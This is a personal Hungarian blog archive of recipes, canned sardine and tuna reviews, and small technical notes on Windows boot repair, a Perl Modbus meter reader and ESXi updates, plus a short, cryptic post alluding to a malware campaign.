a nyelven és az s drive néven változtatva benyomtam, ezután végre bootolt, bár nem tökéletesen, a drive nevet még rendbe kell raknom.
diskpart
list vol
select vol 0
remove
assign letter w
select disk 1
remove
assign letter c
exit
w:
cd efi
cd microsoft
cd boot
dir bcd
aha itt vagy
na akkor bcdboot c:\windows /s c: /f all
dir bcd
létrehozta, jó.
Működik? nem.
ha nem megy mindenkepp csinalj egy fat32 particiot is ha nincs,akkor is ha elotte ment anelkul is
Krumplipürét főztem. Szűzpecsenyét kisebb érmékre vágtam, sóztam borsoztam, sütőben megsütöttem, előtte raktam rá pár szelet bacont. A gombához aránylag sok hagymát aprítottam, majd pirítottam kevés olajon és sok vajon. A gombát feleztem majd szeleteltem vékonyra. kb. 40 deka gomba, 90 deka hús és fél kiló vagy több körüli krumpli lehetett. Végül ráraktam a gombát, sót és borsot, pici fehérbort, majd addig pirítottam, hogy nagyjából elforralja a levét. Nagyon jó lett, főleg a gomba-krumpli kombó íze lett érdekes, a hús meg omlós és finom.
1 fej hagymát felvágok, kicsi szalonnát megpirítok, olajjal rá a hagyma. 1 kg marhát feldarabolok kicsire, rárakom, sózom, borsozom, fokhagyma. Kicsit fő és levet ereszt, mehet rá fehérbor, sűrített paradicsom, bors, 1 babérlevél, mustár, citrom leve, kicsi pirospaprika. Vízzel beállítani a dolgokat. Főzés végén tejföl.
A netről loptam, mert nagyon sok uborkánk volt. Majdnem minden recept azonos. A mostani verziónk: 4 kg uborka legyalulva 1 kg vöröshagyma cikkekre szedve, 80 deka cukor, 10 deka só, 1 evőkanál na benzoát, 1 kiskanál kén, mustármag, egész feketebors, 350 ml 20% ecet, 350 ml víz (felesleges, elég 200 kb.), egy napig állni hagyjuk, lefedhetjük, de lehetőleg szellőzzön valamennyit, majd üvegekbe rakjuk. szerintem majd lehet egy picit az ecet mennyisége növelhető.
Úgy 15-20 deka rizst megfőzök nagyjából, sóval. Félrerakom. Egy hagymát lepirítok kockára vágva, félrerakom hűlni. A darált disznóhúst sózom, borsozom, egy tojás kerül bele, a hagyma és a rizs, worchestersire szósz, borsikafű, bors, fehér bors, fokhagyma, piros paprika, meg amit találok. Rántást csinálok, felöntöm paradicsomlével (+sűrített paradicsom), só, cukor, bele a gombócok és a töltött paprika és 20-30 perc (talán?) alatt megfőzöm
Mindig elfelejtem, hogy a vadast hogy csinálom, ezért inkább leírom. Szóval marha felsálat kisebb szeletekre vágok, sózom, borsozom és enyhén lisztesen olajban megpirítom picit, kiszedem.
Az olajra rárakom a zöldségeket (répa, fehérrépa, zeller) és pirítom egy picit, majd rárakok egy adag kockára vágott hagymát +cukor. Vörösbor, víz, só, babérlevél és 6 db. borókabogyó. Azért 6, mert a főzés végén kiszedem és emlékezni kell hány van benne. Főzöm úgy 2 órát, kiszedem a puha húst, a borókát meg a babérlevelet, és összeturmixolom valamennyire.
Although registers are well documented, I was unsuccessful using pymodbus3 and my own C client to read modbus data. Finally a stable version in perl:
use Device::Modbus::RTU::Client;
use warnings;
use Data::Dumper;
my $client = Device::Modbus::RTU::Client->new(
port => '/dev/ttyUSB0',
baudrate => 38400,
parity => 'even',
);
sub read_string
#where:as in the documentation
{
$where= shift;
$length = shift;
my $req = $client->read_holding_registers(
unit => 3, #might be different for you!
address => $where-1, #although it is 30 in doc, it is 29 in reality
quantity => $length,
);
$client->send_request($req);
my $resp = $client->receive_response;
#printf(Dumper($resp));
my $t=$resp->values;
$i=0;
$s="";
while ($i<$length)
{
$s.=chr($t->[$i]/256);
$s.=chr($t->[$i]%256);
$i++;
}
#printf("$s\n");
return $s;
}
printf("name:".read_string(30,20)."\n");
printf("model:".read_string(50,20)."\n");
printf("manufacturer:".read_string(70,20)."\n");
$client->disconnect;
boldi@supercell$ perl arammero.pl
name:Energy Meter
model:iEM3355
manufacturer:Schneider Electric
edit no. 4: I'm github publisher right now. I have to update my CV with new skills.
https://github.com/bbencsath/schneider_iem3355_modbus_client/blob/master/code/sample_client.pl
February 2, 2018
hehe
August 6, 2017
what to do with hot peppers?
In the last weeks we could pick quite an amount of hot peppers (chili) from our first harvest. Only two types, one is a jalapeno, the other is a typical long chili like ring of fire, but as the origin is from years, we just call it window chili, reflecting the plant that was sitting in the window for years.
So what to do with the harvest. For window chili we made some rings for drying, but for jalapeno we tried to make some vinegar chili.
The important thing is the amounts. so mine is currently: 1000 ml water, 100 ml vinegar 20% 55g salt 30g sugar (might be much more, like 110g), koriander seeds, mustar seeds. I started to boil without vinegar and as boiling, cut the fire and added vinegar.
the idea is ~2.5% salt level, not much bigger sugar content.
After cutting the heat I added the paprika/pepper then waited at least 5 minutes, then put peppers in the jar and juice. Used some salycilic acid to be sure it does not get rotten, especially I do not make the traditional long run heat-down method.
The important recipe that should be available whenever look back on this:
I used 1l – 1000g water
100 g 20% vinegar (acetic acid) coming to ~2,3% at the end
55g salt
30g sugar (some recipes say you can use 2x as salt, like 110)
some coriander and mustard seeds
February 20, 2017
Jázmin rizs
Eddig kb. vagy az AAA Lotus Thai Jasmine rizst használtuk vagy Golden Lotust, ami nagyon aromás. (hogy melyiket, az rejtély, most tuti AAA Lotust vettünk). A Panda brand bogárfertőzött volt. Most egy kilós TTR THu Thai Rice-t próbáltunk. Ez picit talán keményebbre főtt, pergősebb és fogkeményebb, jó az állaga, viszont kevésbé aromás. Egyelőre ennyi, folytatni kell majd a naplózást amikor a többit kipróbáljuk. Köszönöm a rizsfőzőt Thongnak…
December 21, 2016
Feketekagyló/Kékkagyló
1 zsák névlegesen 1 kg kagyló úgy általában kb. 1.2 kiló a metróban.
A kagylót megtisztítva bedobom egy nagy lábasba.
kb. 15 deka szálzellert apróra vágva rárakok.
Egy nagy fej hagyma kb. 3/4 részét szálakra vágva rárakom.
Úgy két nagyobb paradicsom mennyiségét rárakom kockázva.
Rárakok úgy 4-5 deci fehérbort és 3-4 deci vizet
plusz egy marok só kb.
végül egy kis csípős szósz, a “kis” nem egy személyre szóló változatában.
kb. 5 dkg. vajjal
felforrás után pár percig főzve, kenyérrel a leve kb. félig levesként funkcionál.
November 20, 2016
Filets de Maquereaux Moutarde à l’Ancienne et au Citron – Saupiquet
Pár éve vett szardínia került a kezembe:
Egyszerűen fantasztikus. A makréla olyan, mint egy jó makréla, a szósz viszont fantasztikusan üdítől, friss, citromos és magos mustáros. Még így, hogy lehet, hogy le is járt a termék szavatossága, tökéletes ízélmény. Külön csoda, hogy nem túl sótlan, és a szósz miatt felesleges citromozni is.
Semmi negatívum, legalábbis nem bírok felidézni semmit. A szósz maradékát kikanalaztam. Mindenki vegyen ilyet, ha külföldön jár.
It’s simply fantastic. Not just a superb fish, but in addition, it has possibly the best sauce I’ve ever met for sardines. Mustard and limon with enough salt and still a fresh taste possibly years after the production. I recommend everyone to buy one and taste. Current rank: No. 1.
Állag: 9/10
Íz: 10/10
Ár: ?
September 3, 2015
vmware esxi cheatsheet stuff — wip
“how to update esxi from command line – boldi” upgrade
list available stuff
esxcli software sources profile list -d https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml | grep ESXi-6
actual upgrade
esxcli software profile update -d https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml -p ESXi-5.1.0-799733-standard
fresh esxcli software profile update -d https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml -p ESXi-6.0.0-20171104001-standard
esxcli network firewall ruleset set -e true -r httpClient
October 2, 2014
Serving suggession – what??
March 21, 2013
Bulbanews or Vulvanews
From Wikipedia:
Bulba
From Wikipedia, the free encyclopedia
Bulba (Бульба, [ˈbulʲba]) is a concert dance based on Belarusian folk traditions, choreographed, among several others, by Igor Moiseyev. The word means “potato” in Ukrainian and Belarusian languages.
This is one explanation. The other is that b in “bulba” is in fact a “v”. But that ends in a right word “vulvanews”, which is surely something strange. Possibly the whole story should be named as “Punci Malware Team” (a hungarian reflection to vulva) than “Teamspy”. (in fact, in this case a better transcript would be bylbanews)
February 22, 2013
Red Alert
EU / NATO / FOREIGN POLICY / GOVT / RESEARCH / HUMAN RIGTHS
Are you friends or foes of HkyeiIDKiroLaKYr lUFEfiHKljfLKWPR lUFEfiHKDroLaKYr or you like arabic books or T soft?
Have you ever saw a eu_advisory.pdf?
Not enough memory on your Acrobat reader?
You can contact us for collaboration. You know who we are, you’ve already learnt that from the old times…
3825011343
January 2, 2013
1000 mi? Nagymama?
Ez a kép a TV2 hiradójából van. Érdemes tudni, hogy a kWh -ból a kiló-t kis k-val írjuk és ezret jelent, a h-t kis h-val íruk és órát jelent a W nagy és Watt mértékegységet jelent. Tehát a kWh nem KWH.
De talán fontosabb kiemelni, hogy az áramot nem szokták készletezni, nem mérjük köbméterben, és fordítva, a gáznak nem KWH-ban van az ára.
A dologban az a csúnya, hogy 1-2 napja volt egy hasonló baki, talán épp a konkurens RTL-nél. Tudom, biztos én meg elkövettem néhány helyesírási hibát, de azért kicsit jobban oda kellene figyelni… (Igazából örülhetünk, hogy nem kW-ról hanem kWh-ról írtak, mert ez a másik különbség, amit úgy tűnik egy átlag újságíró nem szokott tudni megérteni)
September 20, 2012
Csillagvölgy 2010 Portugieser
October 22, 2011
no more nasty stuff
Searching for “nasty”? Go to www.crysys.hu and check statement. Looking for info on canned fish, fishing, aquariums or great meal, or some small hacks? Stay here.
Thanks for Your visit!
July 27, 2011
Dia – Atum en azeite
Dobozolva: Dia
Felismerés: fémdoboz dia hálózati logó, zöldes fémes
Tartalom: tonhaltrutymák tetején fehér zsírréteg
Hal állaga: tonhal apró darabjai
Lé: Olaj, kevés
Só: megfelelő
Íz: katasztrófa. a zsír megfojtja, az állag gáz, elfogadhatatlan. Tonhalra nyomokban emlékeztet.
Legnagyobb negatívum: katasztrofális állag és íz
Sose venném. Talán a legrosszabb amit láttam. Éppen ehető.
Értékelés: 1/10.
Tesztelte: B
Produced by:Dia
How to recognize: metal can, dia logo (of the grocery line), greenish-metalish
Contents: tuna like mash with white fat on top
Consistence: small pieces of tuna, or, let’s say like a tuna went through a fan
Fluid: oil, not much
Saltiness: o.k.
Taste: Catastrophic. The layer of fat is criminal, totally, the stuff is barely edible. Sometimes You can recognize that it’s tuna.
Biggest con: bad consistency and taste
Never again. Maybe the worst tuna I ever got. Barly edible.
Score: 1/10.
Tested by: B
June 3, 2011
Budai Gourmet 2011
Csak egy rövid blog:
-Sajt vhol: nagyon finom volt. Magda Sajtok 70 202 1495
-Gesztenye: sarkpont.hu
-Nyírfacukor: mardo.hu
-Szörp: balatoni. jó volt.
-Tanácsok a dunakanyarból fűszertermesztéshez: okosabb lettem
-Fóti sörök: Fóti Pils: király, grabanc: kicsit erős, szinte belga, jó
-Rosenstein: Gefillte fisch. Töltött káposzta kovászolva tormalevélben, darab sprotnival stb.
-Kistücsök: Harcsa halászlémártásban és sült főtt fűszeres darával, nyúlkolbász medvehagymamustárral
-Arany kaviár: tokhal kaviár mini ostyán (volt még 1-2 íz) blinn
-Olimpia/MGE: Pácolt tonhal uborkazselével. Eperleves sajthabbal.
-XXL/U26: Malac császár káposztával paradicsomhabbal és paprikazselével. spárgafőzelék libamájhabbal és tökéletes tojással.
-Déryné csilis sütemény (a csilibe is bele kell harapni!)
-cake shop tejes diós
Borok:
-Rosenstein: egri chardonnay (botage/potagge?)
-Csillagvölgy irsai olivér: P R Ó B Á L D K I !
-Gere kopár
-Gere pinot noir
-Soproni kékfrankos pálos kékfrankos nem rossz, de semmi extra
-ugyanitt szőlőlé
-Gyulai pálinka kajszi a tuti
May 1, 2011
Vmware esxi 4.1 jmicron pata driver
Slightly patched driver compiled with vmware oss package.
March 14, 2011
Sony TV (regi) service menu
March 14, 2011
Vasco da Gama – Sardinhas Portuguesas em oleo vegetal
Dobozolva: Vasco da Gama PT C221 1P CE
Felismerés: papírdobozos, fehér alapszínen kék s piros
Tartalom: 4-5 nagy darab szardíniatörzs bőrrel
Hal állaga: Bőr teljesen a halon, belül gerincdarabok is. A hal húsa kellemesen kemény. A haldarabok között aszpik állagú zsír, de nem zavaró, maga a hal viszont a bőr alatt sem zsíros, és a bőr sem zavaró: nem túl puha, nem túl nyúlós, szóval jó.
Lé: kifejezetten kevés lé, ennek következtében kicsit száraz is.
Só: jó, inkább a kevesebb irányában.
Íz: jó kombináció, kicsit száraz és a hal dominál – de egy halkonzervnél ez nem olyan nagy baj.
Legnagyobb negatívum: kicsit száraz
Akkor venném, ha kifejezetten a sűrű halhús érdekelne. Főzni is elképzelhető belőle. A bőr egyáltalán nem negatívum.
Értékelés: 7/10.
Tesztelte: B
March 12, 2011
Nautica Makréla olajban, fűszeres
Dobozolva: Nautica
Felismerés: Fehér nagyalakú lapos konzerv
Tartalom: 2-3 nagyobb makréladarab, alul bőrös résszel
Hal állaga: nagyobb darab érmeszerűen elváló hús, nagyon jó. A bőrhöz közel viszont puhább, az nem olyan kellemes.
Lé: kellemes semleges olaj
Só: picit talán még túl sós is. már-már citromos jellegű az íze, nagyon jó.
Íz: jó kombináció, kellemes összehatás
Legnagyobb negatívum: a bőrhöz közeli puha részek rontják az összképet.
Vennék újra.
Értékelés: 7.5/10.
Tesztelte: A+B
ui. már teszteltük korábban is, független teszt mert már elfelejtettük az előzőt… A kettő összehasonlításából az látszik, hogy a minőség ingadozó.
Dobozolva: Minerva, Expoconser – Exportadora de conservas, LDA. Matosinhos Portugal C 249 1 P
Felismerés: papír csomagolt konzerv
Tartalom: közepes méretű szardíniák, bőr és szálkák nélkül
Hal állaga: teljesen jó volt, de korábban teszteltük, így csak rémlik
Lé: nem túl erős
Só: nem volt sótlan
Íz: nagyon jó íze volt, és az egész harmonikus egésszé állt össze
Legnagyobb negatívum: az emlékek megszépítik de nem volt semmi.
Értékelés: 8.5/10.
Tesztelte: A+B
March 8, 2011
Portugál akvárium
Kaptam egy hírt: Szenzáció! Portugáliából érkezik hozzánk a világ legnagyobb mobil akváriuma, mely 22.400 liter víz tárolására alkalmas. Az akváriumot Magyarország halai teszik majd színesebbé és érdekesebbé, valamint a versenyek, melyeket partnereink segítségével szervezünk. A bátrak összemérhetik tudásukat a profikkal a horgászversenyen. Ki fogja ki hamarabb a halat? Az akvarium install segítségével búvárbemutató és halfajta bemutató teszi majd színesebbé a gigantikus méretű “víztárolót”. Terveink között szerepel, hogy az A Vadászkutya magazinnal karöltve vadászkutya bemutatót szervezünk a mélyvízben, melyen a négylábúak megmutatják magukat munka közben. www.fehova.hu
Érdekes lesz a dolog, mert azért nem lesz egyszerű a magyar berendezőknek megoldani, hogy szép akváriium legyen, ami képes hazai halfajokat bemutatni, de akár egy kutya úszását is. Mindenesetre mindenképpen kint leszek és remélem a szardíniafronton is lesznek portugálok.
December 29, 2010
csikermájas húspástétom terrine
1 kg csirkemájat apró cafatokba aprítottam, egy fej hagymát felaprítottam, majd olajon a hagymát megpirítottam, rá a csirkemáj.
Egy idő után ráraktam egy kis kakukkfüvet, továbbá 2 dl főzőtejszínt. Az eredményt egy keverőedénybe helyeztem. Erre raktam két
gerezd fokhagymát darabolva, és pár evőkanál morzsát. Továbbá egy kis majorannát és csombort és só (eddig nem volt benne). (szárított)
15 dkg füstölt bacon kockát tovább aprítottam, hozzá fél kiló sertéscombot apró cafatokra vágtam, A bacont megpirítottam, rá a
comb aprólék. Félszáraz bort attam hozzá, sót, borsot, fehér borsot. Egy kis nátrium-glutamátot is adtam hozzá. Az eredményt
hozzákevertem a májhoz.
Fél kiló darált sertéshúst megsütöttem amíg a leve el nem kezdett fogyni, közben meg is sóztam és hozzáadtam az anyaghoz.
Végül vízfürdőbe helyezett formákba helyeztem a kapott öntetet, még sót adtam hozzá, és 1:42 perc időtartamra 105 fok hőlégkevertető fokozaton sütöm.
Másnap: A hús lehet, hogy picit túl nagy darabokban maradt, nem lett krémes. Plusz nem sajtoltam le, nem állt össze masszává max üvegben tárolható. Nekem picit sótlan, másnak nem. Erős a máj íze, de mégis túl húsosnak mondják a többiek. Alapvetően azért ehető.
…ongoing project…
December 26, 2010
Creme de marisco
úgy 40 deka főt garnélát megpucolok, a fejeket és héjakat félre rakom. Vajon hagymát pirítok, készítek egy vajas rántást, egybeöntöm, picit felöntöm vízzel és összeturmixolom. A kapott krémbe belerakok egy sűrített paradicsomot, sok sót, fehér borsot, kis glutamátot talán egy kis fehérbort is. Főzöm.
A garnélahéjakat felöntöm vízzel, hogy ellepje, pici olajat öntök bele és sót, majd főzöm 10 percig. A kapott kivonatot szűrőn át a leveshez öntöm. A levest többször sózom, jó sósnak kell lennie, majd a vége előtt 5 perccel belerakom a tisztított garnélákat.
Ennyi. Nagyon finom portugál levest kapunk, hideg téli estéken kiváló.
December 26, 2010
Nixe Petingas em azeite com picante
Gyártó: Nixe ES 12.00559 / PO Thenaisie-Provote S.A. http://www.th-p.com/ (fő márka: Grandes Hoteles)
Típus: Petingas em azeite com picante (sardinillas con eceite de oliva en salsa picante) (6/10 unidades) (1.06 EUR)
Felismerés: papírdoboz narancsos színű
Tartalom: 8 db. szardínia
Halak állaga: bőr, farok rajta, egyetlen darab porc volt található, a bőr kellemes, nem zavaró
Lé: olajos lé, kellemes
Só: megfelelő
Íz: első pillanatban nem érezhető csípősség, mely az olajon keresztül érződik és átjárja a halakat teljesen
Legnagyobb negatívum: egyikben volt egy kis porcdarabka
Értékelés: 8.5/10.
Nagyon finom, harmonikus termék, finom a piri-piri csípőssége, a halak állaga is jó, nagyon jó összhang. A pikáns csípősség is nagyon kellemes. Vennénk újra bármikor.
Tesztelte: B+A
December 19, 2010
King Oscar Makrélafilé növényi olajban
Gyártó: King Oscar
Típus: Makrélafilé növényi olajban
Felismerés: nagy lapos fehér fémdoboz, sárga-piros feliratokkal
Tartalom: 1 nagyobb markélafilé
Halak állaga: szépen tisztított filé, finom érmékre esik a hal
Lé: olajos lé, de nem sűrű, nincs markáns íze, viszont jók a savai. Azt mondanám fehérbor is van rajta, de a papírok szerint nincs. Nagyon jó.
Só: Tökéletes
Íz: kellemes íz, kellemes állag, jó sózás, kiemelkedő összhang
Legnagyobb negatívum: egyikben volt egy kis porcdarabka
Értékelés: 9.5/10.
Edit: Második tesztelés alkalmával picit túl zsírosnak tűnt (A). Pontlevonás: 8.5/10
Fogunk még venni… Makrélák között is kiemelkedően jó.
Tesztelte: B+A 2x
December 9, 2010
Almare- Makrelenfilets in Sonnenblumenöl
Gyártó: Almare Seafoods (Wien)
Típus: Makrelenfilets in Sonnenblumenöl
Felismerés: világoskék fémdoboz (Budapesten vettem, talán Aldi)
Tartalom: 6-8 markélafilé
Halak állaga: szépen tisztított filé, tömör
Lé: napraforgóolajban
Só: Nekem már túlságosan sótlan
Íz: kellemes íz, kellemes állag, de sótlan. Az olaj és a hal nem harmonizál megfelelően
Legnagyobb negatívum: sótlan + az olaj és a hal nem harmonizál
Értékelés: 6.5/10.
Vennénk újra, de túl sótlan, plusz az olaj és a markéla zsírjai nem passzolnak megfelelően.
Tesztelte: B. és A.
December 8, 2010
General – Atum Posta em oleo vegetal
Gyártó: General
Típus: Atum posta
Felismerés: sárga fémdoboz
Tartalom: tonhal filé olajban
Halak állaga: nem túl tömör tonhal
Lé: doboz szerint növényi olaj, napraforgónak tűnik
Só: Picit sótlan
Íz: kellemes íz, kellemes állag, lehetne picit feszesebb, de alapvetően jó
Legnagyobb negatívum: nehéz mondani
Értékelés: 8/10.
Rendben van, kellemes összhatás.
Tesztelte: B.
December 6, 2010
King Oscar Brisling Szardínia mediterrán módra
Gyártó: King Oscar PL 22151811 WE
Típus: Brisling Szardínia mediterrán módra (Sprattus Sprattus)
Felismerés: fémdoboz, kék-piros fóliával burkolva
Tartalom: kb 8-10 db füstölt sportni, oliva karikák és némi más fűszer
Halak állaga: bőrös, de feszes, csak apróbb darabkák, alig felfedezhető
Lé: oliva és napraforgó olaj
Só: Túl sós, még nekem is.
Íz: kellemes íz, túl sós, citrommal még jobb, csak nagyon enyhén füstös.
Legnagyobb negatívum: túl sós
Értékelés: 8/10.
Sprotni, nem szardínia. Füstölt, de alig érződik. Nagyon finom. Túl sós. Citrommal jobb. Ugynaakkor korrigálva (citrommal kenyérrel) jó vétel! Még biztos veszek.
Tesztelte: B.
December 4, 2010
MAYFLOWER Portugiesische Sardinen in Olivenöl ohne Haut ohne Graeten
Gyártó: Mayflower Imgro http://www.imgro.at/Seiten_DE/sardinen_sard_thun.html
Típus: Portugiesische Sardinen in Olivenöl ohne Haut ohne Graeten
Felismerés: fémdoboz, sárga, sárga perem (kapható Metro áruhazában, Bp.)
Tartalom: kb 8-10 db szardínia
Halak állaga: filé, jó állagú
Lé: Oliva
Só: Nagyon sótlan. Sózás nélkül ehetetlen szinte, sózni viszont ügyesen kell
Íz: príma
Legnagyobb negatívum: sótlan
Értékelés: 8/10.
Ha nem lenne sótlan, akkor majdnem olyan jó, mint egy saupiquet vagy hasonló. De ez legalább itthon is kapható és az ár is oké nagyjából.
Tesztelte: B.
December 4, 2010
MAYFLOWER Portugiesische Sardinen in Olivenöl
Gyártó: Mayflower Imgro http://www.imgro.at/Seiten_DE/sardinen_sard_thun.html
Típus: Portugiesische Sardinen in Olivenöl
Felismerés: fémdoboz, sárga, kék perem (kapható Metro áruhazában, Bp.)
Tartalom: kb 8-10 db szardínia
Halak állaga: bőrös, kevés darabka
Lé: Oliva
Só: Nagyon sótlan. Sózás nélkül ehetetlen szinte, sózni viszont ügyesen kell
Íz: Rendben van, de a bőr a halon renyhe picit
Legnagyobb negatívum: sótlan
Értékelés: 7/10.
Veszünk újra, de túl sótlan és a bőr is zavaró állagban van a halon. Ennek ellenére jó konzerv, de van jobb.
Tesztelte: A., később B.
December 4, 2010
pitéu – iguarias – Filetes de cavala – em óleo vegetal
Gyártó: pitéu (packed for Coresa Lisboa, dobozon: Marocco)
Típus: iguarias – Filetes de cavala – em óleo vegetal
Felismerés: narancs papírdoboz
Tartalom: kb 8-10 db. nagyobb makréla filé
Halak állaga: nagyon jól tisztított, szilárd
Lé: Növényi olaj a felirat szerint, de ízre már-már oliva. Nagyon kellemes, nem túl intenzív.
Só: Pont jó
Íz: Benne van néhol a makréla minimális kesernyéssége, de alapvetően tökéletes ízű
Legnagyobb negatívum: nincs
Értékelés: 9/10.
Nem tudtunk igazi fogást találni rajta, vennénk újra.
Tesztelte: A., később B.
November 28, 2010
Új szállítmány szardínia érkezett – Lisszabon
A lista:
Ramirez – Atum em piri-piri PT C 234 1P/2P CE
Pingo Doce (szupermarket lánc) – Atum Posta Ao natural – ES 1200596/C CE
Cocagne – Since 1906 Sardinen ohne haut und ohne graeten in Olivenöld (sötétzöld) (2,2EUR)
Ramirez – Sardinhas en tomate
Propeixe – Cavalinhas em azeite (small mackerels in olive oil) – C 230 1P CE
Ubago – Filetes de melva en aceite de oliva
Doméstica Sardinhas (sem pele sem espinha) em azeite C 248 1P
Vasco Da Gama – Sardinhas Portuguesas em óleo vegetal – PT C221 1P CE
Ramirez – Filetes de sardinha sem espinha em azeite de oliveira extra virgem PT 234 1P/2P CE
Ramirez – Filetes de sardinha sem espinha em molho rico de tomate
Ramirez – Filetes de sardinha sem espinha em óleo vegetal
Cocagne – Filets de Sardines Sans arétes a l’huile d’olive extra vierge világoszöld – Filetes de Sardinha sem espinha em azeite extra virgem ü Ramirez & CA (Filhos)
Minerva – Sardinhas Portuguesas sem pele e sem espinha em azeite
Cocagne – Sardienen in Olijfolie (125g piros) PT C 234 1P/2P CE
Propeixe – Sardinhas de matosinhos em azeite
Alva – Filetes de cavala em azeite
Nixe – Sardinillas con aceite de oliva en salsa picante 6/10 piezas
Vasco de Gama – Sardinhas sem pele e sem Espinha em oleo vegetal PT C221 1P CE
Nixe – Sardinillas en Aceite de oliva 6/10 piezas (1.06 EUR)
Propeixe – Sardinhas sem pele e sem espnha em azeite
Ramirez – Atum posta
Cocagne – Sardinhas en azeite (piros, kicsi, 90g netto 65g)
Catita – Sangacho de atum em oleo vegetal PT C 211 1P/20 CE , C213 1P
La gondola – Sardinhas sem pele e sem espinha em azeite PT C 230 1P CE (El corte ingles gourmet)
Da MorGaDa – Sardines sans Peau et sans aretes a l’huile d’olive PT C230 1P CE
Pinhais & CA LDA -Sardinhas Azeite Metodo Tradicional
Ramirez – Sardinhas em oleo vegetal
Ramirez – Sardinhas em oleo vegetal picante
Caique – Atum Posta a l’huile vegetale ES 12.00385/C (0,95 EUR)
Cofisa – Atum Posta em oleo vegetal (PT C 221 1P) (0.87 EUR)
El rey de oros – Artesania elaborado a mano – Filetes de caballe del sur en aceite oliva ES 12.0000512/CA
Ramirez – Combate o colesterol – Tunacol Atum con Isoflavonas (40mg)
Manná – Sardinhas em limao PT C 237 1P
Pitéu – Filetes de cavala em oleo vegetal
Dia (szupermarketlánc) – Atum Posta em oleo vegetal ES 1206648/C
Líder – Sardinhas Portuguesas em oleo vegetal PT 221/247 1P
barna Atum posta em oleo vegetalES 12.00596
BOM Petisco Atum Posta em Azeite
Porthos – Bacalhau a portuguesa PT C 227 1P
Pingo Doce – Atum Posta em oleo vegetal
General – Atum posta em oleo vegetal PT C 234
Dia – Sardinhas em oleo vegetal
Ramirez – Sardinhas em oleo vegetal picante
Comur – Sardinhas ortuguesas em oleo girassol
Peixeira – Sardinhas em oleo vegetal (0.95 EUR) PT C 237
Dia – Atum ES 1206648
Porthos – Morue avec pois chiches – bacalhau com grao
Cocagne – Filets de maquereaux (cavalas)
-
-
-
November 28, 2010
El corte inglés – Sardinas en escabeche en aceite de oliva
Gyártó: El corte inglés
Típus: Sardinas en escabeche en aceite de oliva (ha igaz)
Felismerés: zöldes doboz
Tartalom: kb 6-8 db. nagyobb szardínia filé
Halak állaga: Bőr rajta, porcok, darabkák fellelhetőek, kiadósan gerinc, sőt talán belsőségféleis.
Lé: Oliva. Nem annyira erős ízű.
Só: Picit a sótlan oldalon, de nem gond.
Íz: Édeskés íze van, mintha csak füstölt lenne picit. A darabkák miatt picit kellemetlen az állaga.
Legnagyobb negatívum: Darabkák (itt gerincdarabok is), sok bőr.
Értékelés: 5/10.
Ehető, de már-már kellemetlen a sok darabka és az édeskés íz.
Tesztelte: A., később B.
November 15, 2010
Isabel – Sardinas en aceite de oliva
Gyártó: Isabel, ES
Típus: Sardinas en aceite de oliva
Felismerés: sokszínű, főként zöld doboz. jellegzetes ISABEL kerek betűk pirosan
Tartalom: kb 6-8-10 db. nagyobb szardínia filé
Halak állaga: Bőr rajta, porcok, darabkák fellelhetőek.
Lé: Oliva. Nem annyira erős ízű
Só: Nekem már sótlan, másnak meg pont jó.
Íz: Alapvetően elfogadható, de semmi extra.
Legnagyobb negatívum: Darabkák (itt gerincdarabok is), sok bőr.
Értékelés: 7/10.
Nem rossz, azt nem mondanám. Az oliva íze másnapra erősödik, de akkor sem markáns. A szardínia picit sótlan, semmi keserűség, semmi fura íz, tehát alapvetően minden rendben van a porcdarabokon túl, mégsem átütő. Azért ha más nincs, vennék.
Itthon is árulják, az Auchan árulta a nem olivás változatát.
Tesztelte: A., később B.
November 11, 2010
Rianxeira – Sardinas en aceite de oliva
Gyártó: Rianxeira
Típus: Rianxeira – Sardinas en aceite de oliva
Felismerés: Kék papírdoboz
Tartalom: kb 6-8-10 db. nagyobb szardínia filé
Halak állaga: Bőr rajta, porcok, darabkák fellelhetőek
Lé: Oliva. Nem annyira erős ízű
Só: Sótlan oldalon.
Íz: Alapvetően elfogadható, de semmi extra.
Legnagyobb negatívum: Darabkák, bőr.
Értékelés: 7/10.
Ezt a szardíniát mások győztesnek hozták ki. Ehhez képest sem árban, sem minőségben nem tűnik ki. Bőrös, darabkás, nem túl extra. Nem kesernyés és ehető, de picit többet vártunk volna a hírneve alapján.
Tesztelte: A., később B.
November 5, 2010
Albo – Sardinas en aceite de oliva virgen extra
Gyártó: Albo
Típus: Albo – Sardinas en aceite de oliva virgen extra
Felismerés: Zöldes doboz, eleje hátulja teljesen eltérő!
Tartalom: kb 6-8-10 db. nagyobb szardínia filé
Halak állaga: Bőr rajta, néhol egy-két porcos rész is, nyálkásabb rész is. Farok rajta
Lé: Extraszűz oliva. Nem érezhető semmi erős íz. – Elsőre. Nyitott doboz másnap nagyon erős oliva ízű.
Só: Picit a sósabb oldalon van, de nekem ízlik. Az olivához képest a só dominánsabb.
Íz: Egy picit kesernyés íze volt az adott környezetben, de lehet, hogy csak nekem.
Legnagyobb negatívum: Darabkák, farkak, picit sok bőr. Picit túl zsíros is.
Értékelés: 7/10.
Tesztelte: B. Kenyérrel
November 4, 2010
Édes-diós kelt tésztakockák vaniliás önténnyel
October 25, 2010
Auchan – Filetes de melva en aciete de Girasol
Gyártó: Auchan. ES 12.0000534/CA (madridi Auchan felirat, de magyar Auchanban véve)
Típus: Filetes de melva en aciete de Girasol. Tonmakréla szeletek napraforgóolajban
Felismerés: kék papírdoboz. 115 g, nyitós
Tartalom: kb 6-8 db. melva filé, olajos lében.
Halak állaga: Semmi bőr, semmi más darabka.
Lé: Napraforgóolaj, nincs semmi baj vele.
Só: Jó.
Íz: Egy picit kesernyés íze volt az adott környezetben, de lehet, hogy csak nekem. Citrommal finom. Picit talán unalmas, de konkrét hibát nehéz mondani.
Legnagyobb negatívum: Unalmas picit
Értékelés: 7,5/10. Vennék újra, ha nincs valami más terv.
Tesztelte: A+B, kenyérrel, citrommal és nélküle, hűtve.
October 23, 2010
Connétable – Selection de filets de sardines a l’huile d’olive vierge extra (sans peau, sans aretes)
Gyártó: Connétable
Típus: Selection de filets de sardines a l’huile d’olive vierge extra (sans peau, sans aretes)
Felismerés: Zöld-fehér fémdoboz, lapos
Tartalom: szardínia filék, egész kicsik, úgy 10-12-16 darab lehet, szép tömött sorokban
Halak állaga: Semmi bőr, semmi más darabka. Egy-két apró szálka látható, de nem érezhető evéskor olyan lágy.
